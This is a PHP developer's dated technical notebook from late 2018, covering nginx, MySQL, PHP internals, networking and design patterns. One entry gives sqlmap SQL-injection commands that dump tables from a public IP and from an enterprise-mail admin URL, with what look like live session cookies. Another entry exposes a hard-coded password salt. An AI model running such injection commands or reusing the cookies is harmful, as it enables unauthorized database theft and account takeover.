[PHP] 2018年终总结
去掉敏感信息后的不完整版
==========================================================================
2018年12月29日 记录:
目前在维护的最低PHP版本只有5.6了:
1.5.6.39版本
convert.quoted-printable-encode过滤器时核心的segfault错误
imap扩展的错误
phar扩展的错误,PharData类提供了一个访问和创建不可执行的tar和zip存档的高级接口
5.6.38版本
apache2的头信息Transfer-Encoding:chunked的XSS bug
5.6.37版本
exif扩展修复了堆缓冲区溢出,exif扩展可以获取图像元数据
==========================================================================
2018年12月28日 记录:
mysqldump客户端逻辑备份程序,可以生成一组sql或csv,文本,xml
1.如果不使用--single-transaction选项,mysqldump至少需要SELECT权限,SHOW VIEW,TRIGGER和LOCK TABLES权限
2.对于大规模备份和还原,物理备份更合适,以原始格式复制数据文件,可以快速恢复
3.表主要是InnoDB表考虑使用MySQL Enterprise Backup产品的mysqlbackup命令;主要MyISAM表,考虑使用mysqlhotcopy
4.mysqldump默认是逐行检索,要启用内存缓冲,使用--skip-quick,此时如果是大表内存会可能有问题
join语法,外部连接优化:
如果LEFT JOIN中ON或USING部分中的右表没有匹配的行,则将所有列设置为NULL的行用于右表。您可以使用此事实在表中查找在另一个表中没有对应项的行:
SELECT left_tbl.*
FROM left_tbl LEFT JOIN right_tbl ON left_tbl.id = right_tbl.id
WHERE right_tbl.id IS NULL;
==========================================================================
2018年12月27日 记录:
vscode配置PHP IntelliSense
左下角齿轮==>settings==>extensions==>PHP==>
{
"php.executablePath": "D:/phpServer/php70n/php.exe"
}
log_format记录post数据
log_format mail_test_log escape=json 'postdata= $request_body';
server {
access_log /var/log/nginx/default.access.log mail_test_log;
}
双引号会被转成\x22,escape=json可以解决
3.
nginx的内置变量
$time_local 格式化的时间
$request 请求地址
$status 响应码
$body_bytes_sent 传送页面的字节数
$http_referer 来源地址
$http_user_agent 客户端UA
$document_root 当前文件的目录绝对地址,比如:/var/www/html
$fastcgi_script_name 当前url的绝对地址,比如:/info.php
$request_filename 当前请求文件的绝对物理地址,基于root和alias指令,比如:/var/www/html/info.php
$http_cookie cookie信息
nginx的if判断语句
-e 文件或目录存在, !-e 文件或目录不存在,== 等值判断 , ~正则匹配返回true(区分大小写),~*正则匹配返回true(不区分大小写)
-f 文件是否存在,-x文件是否可执行
5.
nginx的path_info传递过来的参数,打印$_SERVER
["PHP_SELF"]=>
string(17) "/index.php/232323"
["PATH_INFO"]=>
string(17) "/232323"
==========================================================================
2018年12月26日 记录:
linux都会将内存充分利用,将一些程序调用过的硬盘数据读入内存(buffer/cache);物理内存是真正的硬件提供的内存,虚拟内存是虚拟出的一块逻辑内存,被称为交换空间(swap space)
2.buffers和cached都是内存操作,保存系统曾经打开过的文件以及文件属性信息
3.buffers是缓冲块设备做的,只记录文件系统的元数据,cached是给文件内容做缓冲
比如用find查找后buffer大量增加;用cat读取文件后cached大量增加
4.内存释放: /proc是虚拟文件系统;可以通过修改他下面的文件作为与kernel实体间进行通信的手段
echo 3 >/proc/sys/vm/drop_caches
log_format指令:
"log_format" directive is not allowed here ,只能放在http块下,不能放在server块
==========================================================================
2018年12月25日 记录:
socket_create ( int $domain , int $type , int $protocol )
domain:
AF_INET基于IPv4的Internet协议。
AF_INET6基于IPv6的Internet协议。
AF_UNIX本地通信协议族。高效率和低开销使其成为IPC(进程间通信)的一种很好的形式。
type:
SOCK_STREAM(TCP字节流),SOCK_DGRAM(UDP数据报),SOCK_RAW(ICMP的ping程序)
protocol:
SOL_TCP,SOL_UDP
2.
getprotobyname()获取下各个协议对应的数字
/etc/protocols 在这也能看到对应的数字
ip:0 icmp:1 ggp:3 tcp:6 egp:8 pup:12 udp:17 hmp:20 xns-idp:22 rdp:27
vim在当前行迅速插入到下一行,普通模式下按o
4.php.ini中的variables_order参数EGPCS (Environment, Get, Post, Cookie, and Server),会影响这些变量$_SERVER $_POST, $_ENV, $_GET, $_COOKIE
5.一个字符串中关键词会出现多次,我怎么才能做到替换关键词的时候 只替换一次,并且要随机位置;explode拆分开,随机拼新的字符串进去
6.mysql使用各种字符集存储数据,是一组符号和编码,排序规则是用于比较字符集中的字符的一组规则,并根据各种排序规则进行比较
==========================================================================
2018年12月24日 记录:
异步 API 的设计:
POST /stars 直接返回成功和location字段返回查询进度的api
轮询 GET /queue/12345,查询当前的进度
redis的hash:
1.hmset user:1000 username taoshihan birthyear 1991 verified 1 //设置hash中的多个域
2.hget user:1000 username //hget是取回单个域
3.hgetall user:1000 //hgetall取回所有域
4.hmget user:1000 username birthyear //hmget取回多个域
NGINX Unit是个动态应用程序和web服务器,可以在不中断服务的情况下完成部署配置更改,以多种语言运行代码
2.共享内存是常用的进程间通信,两个进程可以直接共享访问同一块内存区域。Shared Memory没有同步机制,需要自己协商处理
3.Buildroot使嵌入式Linux变得简单
==========================================================================
2018年12月21日 记录:
MySQL Native Driver,MySQLnd是用C语言编写的PHP扩展。替代原来的(libmysqlclient)mysql client library
==========================================================================
2018年12月20日 记录:
mysql数据库的user表保存了所有mysql账号和密码
2.show grants可以查看所有赠予的权限,使用revoke可以撤销权限
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION
GRANT PROXY ON ''@'' TO 'root'@'localhost' WITH GRANT OPTION
sql注入漏洞和代码中的输出有关
高位字节M、低位字节L:一个16位(双字节)的数据0x2211 22是高位字节 11是低位字节
32位的数据,比如 0x3F68415B 3f68是高位字节 4158是低位字节,这个数据被存到内存的时候有可能高位在前 高位优先 ,高位在后 低位优先
0x1234567的大端字节序是0123 4567,小端字节序是6745 2301
[^abc]正则是查找所有不在中括号之间的字符,那么[^ ]这个就是查找所有不是空格的字符
5.通过人工建立一个根目录,通常称为(chroot)jail,你可以从根本上阻止程序访问或者修改(可能是恶意的)文件以外的目录。
比如建立了这样的目录/home/sam/jail ,在jail用户看来,他就是/
6.将include的文件放在配置为拒绝Web服务器访问的文件夹中
禁止非法引用的简单方式
7.md5和sha1不适合密码,MD5,SHA1和SHA256之类的散列算法设计得非常快速和高效很容易被人暴力反解,两个考虑因素是计算费用和盐
crypt()函数
==========================================================================
2018年12月19日 记录:
1.过滤shell命令中的特殊字符:
$a="`ifconfig`";
$a=escapeshellcmd($a);
$res=system($a);
var_dump($res);
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
字节:存储容量的计量单位,一个字节等于8位,0x2211是十六进制是二进制0b00100010 00010001,两个8位也就是两个字节
mysql拆分字符串的函数+计算字符长度的函数
select length(substring_index(path,"/",5)) from user;
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch --tables //列出所有的表
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch --schema //列出所有表的表结构
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch -D pan --dump -T drama //获取表的数据
//设置cookie请求
sqlmap.py -u "http://entadmin.sina.net/control/mg_mlist.php?flag=1&id=&act=&flag=1&pagecount=20&pagetotal=&findval=2&findfld=findemail" --batch --tables --cookie "d=1; modewindow=PRINT; language=cn; mon=0; quotasize=10485760; SINA_USER=tony72%40luobo.sina.net; SPRIAL=b75abf80646ade46aabf8118653bb541; hpid=C6MTlB-rH1tylZsMzVsk6Vsy9YD_55tXp6D79UAMeTE_LTAx5TB-vUD05Yr_9T1nZIC0VUB05Y-aiLDNvUD79UAMeTE_LTA05L1j5KD_YU1nfTFyE41nfTFyE4vnWZD_pUrNtPDMlTDM9Y; SID=BbHkrkCZCwCMZlSED5lSTbT.%2154E.qlUET4U8%40KLb%214DE88ZETCE48T.T4.44CiZrSSL7-M47rDkll45SZSEZEZK7TZK4; sn=nWZD_pUrNtPDMlTDM9YC6MTlB-6om1nfTFyE4v; PHPSESSID=drcmfmv0truar5njqihhcmc627; __guid=216626370.578084966931658100.1545201942810.3057; monitor_count=1"
==========================================================================
2018年12月18日 记录:
xss攻击一个常用的方法就是注入HTML元素执行js脚本,前端展示时进行过滤
in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
第三个参数是true,就检测类型,否则不检测
array_flip — 交换数组中的键和值,返回一个反转后的 array,例如 array 中的键名变成了值,而 array 中的值成了键名。
$arr=array_flip($haystack);
if ( isset($arr[$needle]) ) 判断是否存在在数组中
array_map — 为数组的每个元素应用回调函数
因为in_array不区分大小写,所以使用这个对数组的所有元素转成小写
return in_array(strtolower($needle), array_map('strtolower', $haystack));
2019年2-7~9 阳光PHP峰会
API开发;中间件;安全;区块链;DevOps;渐进式Web应用程序(PWA);持续交付;数据库;
Javascript ;PHP核心;单元测试;UI / UX;异步PHP;可扩展性;团队开发
==========================================================================
2018年12月17日 记录:
htmlentities — 将字符转换为 HTML 转义字符,对所有html实体转义
htmlspecialchars只是对 < > " ' &进行转义
==========================================================================
2018年12月14日 记录:
查询45天以前没有登录的邮箱:
strtotime('-45day')
mysql输入查询:
SELECT VERSION(), CURRENT_DATE;
php mysql查询超内存:
$db->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);不缓存结果
$sql = "select * from ent_lastlogin "
. "where time <'2018-10-30'";
$uresult = $db->query($sql);
if ($uresult) {
while ($r = $uresult->fetch(PDO::FETCH_ASSOC)) {}
==========================================================================
2018年12月13日 记录:
PATH_INFO是一个CGI 1.1的标准,不要误解为nginx的功能
2.PHP对该标准进行了支持,PHP中有两个pathinfo,环境变量$_SERVER['PATH_INFO'];pathinfo() 函数
3.pathinfo() 函数以数组的形式返回文件路径的信息,先不管它
4.nginx的配置项是对$_SERVER['PATH_INFO]值进行设置,如果不配置默认是没有的
5.因为路径部分是这样的index.php/111,所以location ~ \.php {} 把php后面的$必须以php结尾去掉
6.传递PATH_INFO参数:
fastcgi_param PATH_INFO $fastcgi_path_info; 此时
["PHP_SELF"]=>string(3) "NFO"
["PATH_INFO"]=>string(3) "NFO"
7.
fastcgi_split_path_info ^((?U).+.php)(/?.+)$;此时
["PATH_INFO"]=>"/111"
["PHP_SELF"]=>"/index.php/111"
8.重写隐藏index.php,如果请求的是文件名才重写
if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php/$1 last;
break;
}
此时:
["PATH_INFO"]=>"/111"
["PHP_SELF"]=>"/index.php/111"
GNU AWK 的用户指南
==========================================================================
2018年12月12日 记录:
调试nginx rewrite
1.rewrite_log on;会发送相关notice日志到error_log的文件里
2018/12/12 11:09:58 [notice] 10987#10987: *1 "info.html" matches "/info.html", client: 218.30.113.42, server: 115.159.28.111, request: "GET /info.html HTTP/1.1", host: "115.159.28.111"
2018/12/12 11:09:58 [notice] 10987#10987: *1 rewritten data: "/info.php", args: "", client: 218.30.113.42, server: 115.159.28.111, request: "GET /info.html HTTP/1.1", host: "115.159.28.111"
2.设置error_log的日志级别为debug
3.只记录自己的ip
events {
debug_connection 1.2.3.4;
}
凡人皆有一死 ,凡人皆须侍奉
动不动就觉得一年比一年差的,是因为你年龄一年比一年大了,越来越需要钱了,偏偏发现财富自由离自己太远。
回到刚毕业的时候,就算变天了你还会觉得很兴奋,百度一下“行业寒冬”,你就就会发现2014、2015、2016、2017、2018年年都寒冬。哪年不过冬了?哪年各位的薪资没涨的?哪年各位生活质量有下降的?
==========================================================================
2018年12月11日 记录:
postfix配置测试smtp
修改 /etc/postfix/transport
然后执行 postmap /etc/postfix/transport,
再执行postfix reload
PHP开发团队宣布即将推出PHP 7.0.33。此版本中修复了五个与安全相关的问题。
善恶的彼岸,当你凝视深渊时,深渊也在凝视着你。凡不能毁灭我的,必使我强大。
2.PHP的imap扩展安装 apt-get install php-imap
版本7.0.33 18年12月6日
核心:修复了错误#77231(使用convert.quoted-printable-encode过滤器时的Segfault错误)。
IMAP:修正了错误#77020(imap_mail中的空指针取消引用)。
修复了错误#77153(imap_open允许通过mailbox参数运行任意shell命令)。
Phar:修复了错误#77022(PharData始终使用模式0666创建新文件)。
修复了phar_parse_pharfile中的错误#77143(堆缓冲区溢出(READ:4))。
3.为了快速处理静态数据集,例如服务器名称,映射指令的值,MIME类型,请求头字符串的名称,nginx使用哈希表。
4.access_log syslog:server=[2001:db8::1]:12345,facility=local7,tag=nginx,severity=info combined;配置nginx日志到syslog
==========================================================================
2018年12月10日 记录:
讲清楚技术方案:
1.介绍需求背景
2.介绍整体技术方案
3.介绍协议和库表结构
fpm:FastCGI Process Manager 是一种替代的PHP FastCGI实现,对于负载较重的站点非常有用。
1.先进的进程控制,优雅的停止启动
2.能够使用不同的uid/gid/chroot/environment启动worker,使用不同的php.ini,监听不同的端口
3.stdout stderr日志记录
4.opcode cache破坏的情况下紧急重启
5.加速上传支持
6.slowlog慢日志记录脚本,可以记录PHP跟踪和远程进程的execute_data, ptrace或者类似工具读取和分析
7.fastcgi_finish_request()刷新所有数据,当在做耗时操作的时候,比如视频转换和统计处理,在fastcgi_finish_request()之后,该脚本仍将占用FPM进程。因此,对于长时间运行的任务过度使用它可能会占用所有FPM线程,直到pm.max_children
8.动态静态子进程产生
9.基础的SPAI状态,基于php.ini的配置文件
php-fpm开启慢查询日志:
/etc/php/7.0/fpm/pool.d/www.conf
slowlog = /var/log/php-fpm-$pool.log.slow
request_slowlog_timeout = 5
MySQL服务器支持200,000个表和大约5,000,000,000记录,每个表最多支持64个索引。每个索引可以包含1到16列或部分列。 InnoDB表的最大索引宽度为767字节或3072字节
2.mysqldump和mysqladmin,以及图形程序,如MySQL Workbench。 MySQL Server内置支持SQL语句来检查,优化和修复表。通过mysqlcheck客户端获得。 myisamchk,这是一个非常快速的命令行实用程序,用于在MyISAM表上执行这些操作。
3.mysql8.0 mysql系统数据库中的授权表现在是InnoDB(事务)表,可以回滚。以前,是MyISAM(非事务)表
4.caching_sha2_password身份验证插件,实现了SHA-256密码散列,使用缓存来解决延迟问题
5.MySQL现在支持角色,这些角色被命名为特权集合
6.MySQL现在维护有关密码历史的信息,从而限制了以前密码的重用
==========================================================================
2018年12月7日 记录:
nginx可以用信号控制:
kill -s HUP 8587 将HUP信号发送到主进程,使用新配置启动新的工作进程,正常关闭旧工作进程,即打开日志文件和新的侦听套接字。
kill -s USR2 8587 即时升级可执行文件
导入群发列表时有^M特殊字符:
$outEmail=(string)trim($outEmail); 强制转一下
vmstat指令查看操作系统每秒进程切换的次数。system-- -----in 每秒中断;cs 每秒上下文切换 数量
2.pcntl没有提供进程间通信的功能
pcntl不支持重定向标准输入和输出
pcntl只提供了fork这样原始的接口,容易使用错误
==========================================================================
2018年12月6日 记录:
RUP:统一软件开发过程,面向对象基于网络的程序开发方法论
UML:统一建模语言
OO设计的基本原则
单一原则:一个类只做一件事
开闭原则:对扩展开放,对修改关闭
里式替换:子类必须能够替换所有父类的使用
依赖倒置:设计依赖于抽象而不是实现
最少知识:对象应当尽可能少的去了解其他对象
接口隔离:接口倾向于小而多
组合优先:优先使用类的组合而不是继承
OOA面向对象分析 OOD面向对象设计 OOP面向对象编程
构造型设计模式:
单例模式,抽象工厂模式,构造者模式,原型模式,工厂方法模式
单例:
私有化构造方法
通过静态方法创建并保持对象
注意实例化方法需要线程安全
private static $instance;private function __construct(){}
public static function getInstance(){
if(self::instance==null) self::instance=new self();
return self::instance;
}
适用场景:类的对象全局唯一,节约频繁创建对象的资源开销,单例类必须是无状态的
抽象工厂模式:
使用与实现分离,调用方只依赖于业务逻辑接口,与具体实现无关
剥离调用者和实现的耦合,应对变化,典型案例:JDBC API & Driver
interface UserRepository{}
interface RepositoryFactory{public function createUserRepository()}
class MysqlRepositoryFactory implements RepositoryFactory{}
class MySqlUserRepositoryFactory implements UserRepository{}
构造者模式:
用于创建一个复杂对象,一个对象需要依赖于大量外部对象或者其他设置参数,通过构造方法创建太复杂
对象的创建非常复杂,总是需要很多配置和预先创建其他对象
class Query{}
class QueryBuilder{ return $this}
(new QueryBuilder())->addSelect()->addWhere()->build()->getResult();
==========================================================================
2018年12月5日 记录:
stream_get_meta_data - 从流/文件指针中检索标头/元数据
返回结果:timed_out (bool)如果流在等待最后一次调用fread()或fgets()时的数据时超时,则为TRUE。
LVS可以使用IP负载平衡技术或应用级负载均衡技术。通过透明地添加或删除集群中的节点来实现系统的可伸缩性。
2.IPFW是比较老的Linux内核版本提供的防火墙软件包,Ipchains替代Ipfwadm,提供了更为严格的包过滤控制机制,Iptables是一个管理内核包过滤的工具
3.基于DNS的负载均衡,不合适,不平衡,因为有TTL时间的存在,会有段时间每个用户固定访问某个IP
4.基于调度程序的负载均衡,分为两个级别 应用级和IP级,应用级比如分配HTTP到集群,当负载很高时,应用级将会成为新的瓶颈.IP级的开销很小
5.有三种负载方法NAT(网络地址转换),TUN(ip隧道),DR(直接路由);nat和fullnat的区别是解决了跨虚拟局域网的问题
=========================================================================
2018年12月4日 记录:
LVS:Linux Virtual Server Linux虚拟服务器,是一组服务器,核心是ip_vs代码, 运行在LVS director,director是一个四层交换,相当于一个路由器,接收客户端请求分配给后端realservers服务器
网络地址转换(NAT):内网的主机想通过互联网被外网访问,需要进行网络地址转换;从一组地址到另一组叫N-to-N静态网络地址转换;当映射是M-to-N M>N时是动态网络地址转换;网络地址端口映射是NAT的一个扩展,在这里很多的地址和端口被映射到单个地址和端口,N-to-1的映射
==========================================================================
2018年12月3日 记录:
1.DNS服务器的IP地址:cat /etc/resolv.conf
2.DNS的通信过程:
tcpdump -i eth0 -s 0 -n -l port 53
10.203166 IP 10.105.38.204.47751 > 10.236.158.114.53: 44627+ A? www.huiful.com. (32)
我的IP地址10.105.38.204端口47751向DNS服务器的10.236.158.114端口53发送请求
44627是我这个请求的标识,+代表启用递归查询,A?表示A类型的查询,32代表DNS查询报文长度
DNS的响应
10:44:10.203634 IP 10.236.158.114.53 > 10.105.38.204.47751: 44627 1/0/0 A 123.207.167.115 (48)
44627和请求对应,1/0/0 1个应答资源 0个授权记录 0个额外信息记录 A记录IP地址 48是报文长度
host -t A www.baidu.com的DNS查询过程:
IP 10.105.38.204.39732 > 10.236.158.106.53: 11431+ A? www.baidu.com. (31)
IP 10.236.158.106.53 > 10.105.38.204.39732: 11431 3/0/0 CNAME www.a.shifen.com., A 115.239.210.27, A 115.239.211.112 (90)
TCP协议更靠近应用层,因此在程序中有更强的互操作性,一些socket选项都和TCP有关
5.TCP头部信息,TCP状态转移过程,TCP数据流(交互数据流,成块数据流,紧急数据),TCP数据流的控制(超时重传,拥塞控制)
6.TCP协议通信必须先建立连接,连接是双全工的,双方的数据读写通过一个连接进行,交换完成后,都必须断开连接.
7.TCP的连接是一对一的,因此基于广播和多播(目标多个主机)的程序不能使用,udp非常适合广播和多播
8.字节流服务:发送端执行多次写操作,TCP模块先放入发送缓冲区,真正发送时可能被封装成一个或多个TCP报文段发出;接收端先放入TCP接收缓冲区,然后再一次或多次读出,用户指定的程序读缓冲区的大小
9.udp是数据报服务:发送端每发送一个,接收端就要接收一个
10.TCP头部结构:指定源端端口,目的端端口,管理TCP连接
门诊系统:
electron vue vuex 界面就是elementui
360浏览器侧边翻译插件
==========================================================================
2018年11月30日 记录:
ICMP协议并非完全意义上的网络层协议,它使用同一层的IP协议提供的服务
2.传输层提供端到端(end to end)通信,只关心起始端和目的端,与网络层使用逐跳不同
3.TCP协议为应用层提供可靠的面向连接的基于流的服务,使用超时重传,数据确认保证可靠性,基于流的数据没有长度边界限制,源源不断流入,读出
4.UDP提供不可靠,无连接,基于数据报的服务
5.DNS协议即使用了TCP服务,又使用了UDP服务,/etc/services可以看到知名应用层协议,使用了哪些传输层协议
6.封装,协议栈依次从上往下传递,每经过一层就加上自己的头部信息,TCP封装后的有TCP头部信息,TCP内核缓冲区,共同构成了TCP报文段
7.数据链路层封装的称为帧,以太网上的叫以太网帧,令牌环网络上的则是令牌环帧
8.分用,协议栈自底向上依次传递
9.ARP协议可以将网络层地址到任意物理地址转换,从IP地址到MAC地址转换
10.ARP高速缓存,把经常访问的机器的IP地址到物理地址的映射缓存起来,避免了重复的ARP请求
PCRE(Perl Compatible Regular Expressions)是一个Perl库,包括 perl 兼容的正则表达式库。
==========================================================================
2018年11月29日 记录:
PHP default_socket_timeout配置:
控制file_get_contents的超时时间
stream_socket_client ( string $remote_socket [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") [, int $flags = STREAM_CLIENT_CONNECT [, resource $context ]]]]] )
timeout
Number of seconds until the connect() system call should timeout.
从单页应用(SPA)到服务器渲染(SSR)
2.编译器原理和技术涉及到程序设计语言,计算机体系结构,语言理论,算法,软件工程
3.编译器是一个程序,将某种语言(源语言)编写的程序翻译成一个与之等价的另一种语言(目标语言)编写的程序,翻译的过程中可以报告错误,编译器的早期工作集中在如何把算数表达式翻译成机器代码
==========================================================================
2018年11月28日 记录:
网络编程:通过计算机网络与其他程序通信,相互通信的程序中一方为client,一方为server
2.两种网络编程API:socket和XTI,AT&T(美国电话电报公司)传输层接口TLI进行修改的产物
3.usenet新闻组就是论坛,ANSI C是美国国家标准组织(ANSI)和国际标准组织ISO推出的C语言标准
4.C语言标准化:ANSI C==>C89,C90差不多是一个==>C99==>C11
5.POSIX可移植操作系统接口,定义了操作系统应该为程序提供的接口标准,系统调用和库函数只是实现上的细节不同,通常对开发人员是透明的
6.IPv6:互联网工程任务组设计的新版本IP协议,号称可以为每一粒沙子编上网址,IPv6长度128b,表示方法有,冒分十六进制,0位压缩表示法,内嵌IPv4地址表示法
7.web和服务器通信使用应用协议HTTP,在传输层使用TCP协议,TCP又使用了网络层IP协议,IP则使用了某种数据链路层通信
8.两个不同局域网的客户和服务器,使用路由器router连接到广域网的,最大的广域网是因特网
print_r(01234==1234) false,0开头是八进制,0x开头是十六进制,0b开头是二进制
yigoubao的密码规则:md5(md5($password) . 'yoshop_salt_SmTRx')
php -r "echo md5(md5('admin123') . 'yoshop_salt_SmTRx');"
==========================================================================
2018年11月27日 记录:
企管系统个性登录页左侧菜单无法点击:
查找样式问题,在审查元素里挨个删除html元素,就能查询到影响的div,进而定位到css
域名反向解析即从IP地址到域名的映射:
系统提供一个特别域,该特别域称为逆向解析域
企管nginx改造:
==========================================================================
2018年11月26日 记录:
系统开发统计读取阿里云的使用情况:
swoole的三种运行模式:base模式,线程模式,进程模式
IO:BIO阻塞IO;NIO非阻塞IO,同步IO;异步IO
IO组合:同步阻塞IO;同步非阻塞IO;异步阻塞IO;异步非阻塞IO
IO操作:发起IO请求;实际IO操作
阻塞和非阻塞区别:第一步发起IO请求是否会被阻塞
同步和异步区别:第二步实际IO读写是否会被阻塞
BIO:
while true
accept
多线程处理读写
PHP之道:https://laravel-china.github.io/php-the-right-way/
__set是个不存在的属性赋值,两个参数__set($k,$v),属性名和属性值
__get读取不存在属性时
$obj->test="aaa", __set("test",'aaa'),属性中放个数组,arr["test"]="aaa"
echo $obj->test ,__get("test"),arr["test"]
==========================================================================
2018年11月23日 记录:
==========================================================================
2018年11月22日 记录:
declare 结构用来设定一段代码的执行指令。declare 的语法和其它流程控制结构相似:
是一个在 declare 代码段中解释器每执行 N 条可计时的低级语句就会发生的事件
declare(ticks=1);
PHP进行信号管理,第二个参数是回调函数:
pcntl_signal(SIGUSR1, "sig_handler");
给进程发送信号:
posix_kill ( int $pid , int $sig )
curl post数据:
curl "http://120.78.219.34:8018/accountapi/getSms" -d "tel=18812341234"
2.ab -r遇到socket错误时跳过
kill -l:linux进程的所有信号
==========================================================================
2018年11月21日 记录:
is_object — 检测变量是否是一个对象
2.依赖注入,两个类依赖的时候,需要构造函数里传进去,构造函数注入
3.控制反转(IOC)是一种思想,依赖注入(DI)是实施这种思想的方法。
4.工厂模式注入,原本A类依赖B类和C类,现在变成了A依赖Factory,Factory依赖B和C。
5.高层模块不应该依赖于底层模块,两个都应该依赖抽象。抽象不应该依赖于细节,细节应该依赖于抽象
6.1、IaaS(基础设施即服务:Infrastructure as a Service)
2、PaaS(平台即服务:Platform as a Service)
3、SaaS(软件即服务:Software as a Service)
7.glusterFS 分布式文件系统
==========================================================================
2018年11月20日 记录:
sendid,mid
php魔术方法:
__construct()[构造], __destruct()[析构], __call()[调用不存在的方法], __callStatic()[调用不存在的静态方法],
__get()[获取不存在属性的值], __set()[为不存在属性赋值调用],
__isset()[isset不存在的属性], __unset()[unset不存在的属性], __sleep()[序列化对象的时候], __wakeup()[反序列化对象的时候], __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo()
file_put_contents — 将一个字符串写入文件,LOCK_EX 在写入时获得一个独占锁。
读取时需要解锁
$myfile=fopen('test.txt','rt');
flock($myfile,LOCK_SH);
$read=file_get_contents('test.txt');
2.PHP-AOP扩展,面向切面编程,非侵入式的编程方法aop_add_after()函数的使用
==========================================================================
2018年11月19日 记录:
企邮日发信量100万,计划每天或每周一张表,根据sendid后面的日期进行对应
2.在读信接口里增加sendid字段
2.给前端定义一个接口,maildeliverystatus,只有已发送的邮件读信时会去调,把sendid传给我
3.我要拿着sendid去查表然后直接返回对应数字
c10k问题:单机一万并发连接问题
1.如果一个连接就创建一个进程或线程,资源消耗巨大
2.异步模式select/poll模型,select最大不能超过1024,poll没有限制但是每次收到数据都要遍历连接查看哪个连接有数据请求
3.epoll依赖linux,只返回状态变化的文件句柄,不会去遍历,效率更高了
4.libevent对事件接口进行了封装
5.协程,c语言中的coroutine,go语言中的goroutine,在少量线程的基础上进行调度
测试:单元测试,API测试,性能测试,持续集成,灰度发布
单元测试:人为规定的最小的被测功能模块,c语言是一个函数,java是一个类,图形软件是一个窗口
API测试:定位是服务对外输出的接口测试,偏重业务测试
性能测试:单接口压测和模拟用户行为的压测,ab压测,wrk压测;loadrunner,jmeter
ubuntu用户创建的目录下用root创建文件,ubuntu用户可以删除但是不能编辑覆盖
==========================================================================
2018年11月16日 记录:
100亿的文件统计ip的个数:
我设计一个简单的哈希函数是 f(ip) = ip % 10000,(ip 是个32位整数) 那么 5 % 10000 = 5,不管 5 在哪个地方 5 % 10000 的结果都是 5,这就保证了相同的 ip 会被放在同一个子文件中,方便统计,相同的元素经过同一个哈希函数,得出的哈希值是一样的。 那么我把100亿个 ip,都进行 ip % 10000 的操作,就完成了 100GB 文件分解成 10000个子文件的任务了。当然实际中哈希函数的选取很重要,尽量使得元素分布均匀,哈希冲突少的函数才是最好的。
10MB 的小文件里面存着很多 ip,他们虽然是乱序的,但是相同的 ip 会映射到同一个文件中来! 那么可以用二叉树统计出现次数,二叉树节点保存(ip, count)的信息,把所有 ip 插入到二叉树中,如果这个 ip 不存在,那么新建一个节点, count 标记 1,如果有,那么把 count++,最终遍历一遍树,就能找出 count 最大的 ip 了
3.设计api问题
4.如何防止扫密码
5.get和post的安全性问题和区别,长度的限制问题
6.
(1)http协议并未规定get和post的长度限制
(2)get的最大长度限制是因为浏览器和web服务器限制了URL的长度
7.如果一直用同一个错误密码,只计算一次,不会当成扫号。IP也不变的情况下
8.变量名随机
创建一个jwt token,里面绑定随机码
通过加密算法产生变量名
账号密码token一起传后台
9.动态平台在对北显七层配置进行灰度变更时,由于Nginx服务端口配置文件引用错误,导致七层流量分流错误,财经、邮箱等业务数据返回异常
==========================================================================
2018年11月15日 记录:
mysql的批量更新用法 case when
UPDATE `post` SET
`parent_id` = CASE `id`
WHEN '1' THEN '100'
WHEN '2' THEN '100'
END,`title` = CASE `id`
WHEN '1' THEN 'A'
WHEN '2' THEN 'A'
END WHERE `id` IN ('1','2','3','4','5')
2.MySQL提示“too many connections” ,sleep的连接太多了
MySQL配置文件/etc/my.cnf,设置成max_connections=1000,wait_timeout=5
3.MySQL server has gone away和wait_timeout有关系.两次sql执行间隔时间太长
所以在new PDO的时候,要根据wait_timeout的值判断,大于的就重新new,不大于的就单例返回
4.yield的生成器使用,每次只读一行数据,内存中始终只占一行数据
function readTxt(){
$handle = fopen("./test.txt", 'rb');
while (feof($handle)===false) {
yield fgets($handle);
}
fclose($handle);
}
foreach (readTxt() as $key => $value) {
echo $value.'
';
}
==========================================================================
2018年11月14日 记录:
nginx改造:
1./mnt/entmail/webapp目录权限和nginx执行用户权限
3.php.ini 设置upload_tmp_dir="/temp"
cron的日志位置/var/log/cron
开启cron日志:
vim /etc/rsyslog.d/50-default.conf
cron.* /var/log/cron.log
Epoll是poll的改进版,在高并发下能同时处理大量文件描述符,nginx使用了
2.Poll是监控资源是否可用,轮询整个文件描述符集合,例如在多个socket连接建立后,可以知道哪些连接发了请求,与select比不会清空文件描述符
3.Epoll只会查询被内核IO事件唤醒的集合,只有发生IO的socket会调用callback函数
4.文件描述符,一切皆文件网络是文件键盘是文件,像写文件那样传输网络数据,通过/proc/的文件看到进程的资源使用情况
5.
==========================================================================
2018年11月13日 记录:
File upload error - unable to create a temporary file
设置upload_tmp_dir="/temp" 然后重启环境就可以了,如果还不行就去看看文件夹的权限是否有权限,赋予写入权限就好了
nginx的请求处理:
1.worker进程中有个函数,无限循环,不断处理收到的客户端请求,并进行处理
2.系统提供的事件处理机制(select/epoll/kqueue)
3.接收数据,初始化HTTP Request ,处理请求头请求体
4.读取配置文件进行处理阶段,location rewrite filter等
5.产生响应发送给客户端
php调用这个库的应该都是短链接,然后这样是否也会发生切换过程中,数据写到老库,没有同步到新库的情况
短链接是不会发生这种情况
==========================================================================
2018年11月12日 记录:
Nginx 的特点:
1.处理静态文件
2.反向代理加速
3.fastCGI,简单的负载均衡和容错
4.模块化的结构
5.分阶段资源分配技术,使得它的 CPU 与内存占用率非常低,保持 10,000 个没有活动的连接,它只占 2.5M 内存
6.支持内核 Poll 模型,能经受高负载的考验,有报告表明能支持高达 50,000 个并发连接数
7.采用 master-slave 模型,能够充分利用 SMP 的优势,且能够减少工作进程在磁盘 I/O 的阻塞延迟。当采用 select()/poll() 调用时,还可以限制每个进程的连接数
8.强大的 Upstream 与 Filter 链,有点像 Unix 的管道
9.采用了一些 os 提供的最新特性如对 sendfile (Linux2.2+),accept-filter (FreeBSD4.1+),TCP_DEFER_ACCEPT (Linux 2.4+)的支持
Nginx 架构:
